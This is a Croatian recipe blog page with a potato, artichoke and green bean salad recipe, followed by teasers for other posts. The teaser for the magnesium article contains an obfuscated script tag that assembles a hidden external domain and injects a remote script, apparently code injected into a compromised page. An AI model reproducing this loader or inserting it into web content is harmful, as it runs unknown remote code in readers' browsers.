SALATA OD KRUMPIRA, ARTIČOKA I MAHUNA 🥔 🥗





Salata od krumpira, artičoka i mahuna 



Mekani krumpiri, mesnata srca artičoka i delikatne francuske mahune zvijezde su ove salate od krumpira nadahnute talijanskom kuhinjom. Umjesto majoneze, ova salata se preliva osvježavajućim i upečatljivim vinagret dresingom od kapara i limuna. Slane note i poletni citrusi ističu kremastost krumpira.




Salata od krumpira, artičoka i mahuna 


Sastojci:

  • 700 g malih krumpira


  • 225 g svježih francuskih mahuna (haricots verts), očišćenih (oko 2 šalice)


  • 1/4 šalice ekstra djevičanskog maslinovog ulja


  • 2 žlice ocijeđenih sitnih kapara, nasjeckanih


  • 1 1/2 žličica krupne morske soli


  • 1 žličica senfa


  • 1 žličica naribane limunove korice plus 3 žlice svježe iscijeđenog limunovog soka (od 1 do 2 limuna)


  • 1/2 žličice svježe mljevenog crnog papra


  • 1/2 šalice tanko narezanog crvenog luka


  • 680 g mariniranih četvrtina srca artičoka, ocijeđenih


  • 1 1/2 šalica cherry rajčica (oko 250 g), prerezanih napola


  • 1/2 šalice nasjeckanog svježeg peršina ravnog lista




Priprema:

Stavite krumpire u veliki lonac i prelijte ih hladnom vodom tako da budu prekriveni oko 2,5 cm iznad razine krumpira. Pustite da zakipi na jakoj vatri. Smanjite vatru na srednje jaku i kuhajte dok krumpiri ne omekšaju kada ih probodete vilicom, oko 15 minuta. Šupljikavom žlicom prebacite krumpire u cjedilo i ostavite da se ocijede.

U kipuću vodu u kojoj se kuhao krumpir dodajte mahune; kuhajte ih 3 do 5 minuta, dok ne poprime jarkozelenu boju i ne postanu kuhane, ali i dalje hrskave (al dente). Šupljikavom žlicom prebacite mahune u cjedilo s krumpirima i ostavite da se ocijede. Kada se dovoljno ohlade za rukovanje, narežite krumpire na četvrtine ili polovice, ovisno o njihovoj veličini.

Dok se krumpiri hlade, u velikoj posudi umutite ulje, kapare, sol, senf, limunovu koricu, limunov sok i papar. Umiješajte crveni luk i ostavite da odstoji 5 minuta. Dodajte tople ocijeđene krumpire i mahune te lagano promiješajte kako bi se sve proželo dresingom. Umiješajte srca artičoka, rajčice i peršin. Poslužite odmah ili na sobnoj temperaturi.


Upute za pohranu

Ostatke čuvajte u hladnjaku u hermetički zatvorenoj posudi do 3 dana; prije posluživanja ostavite salatu da dostigne sobnu temperaturu.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više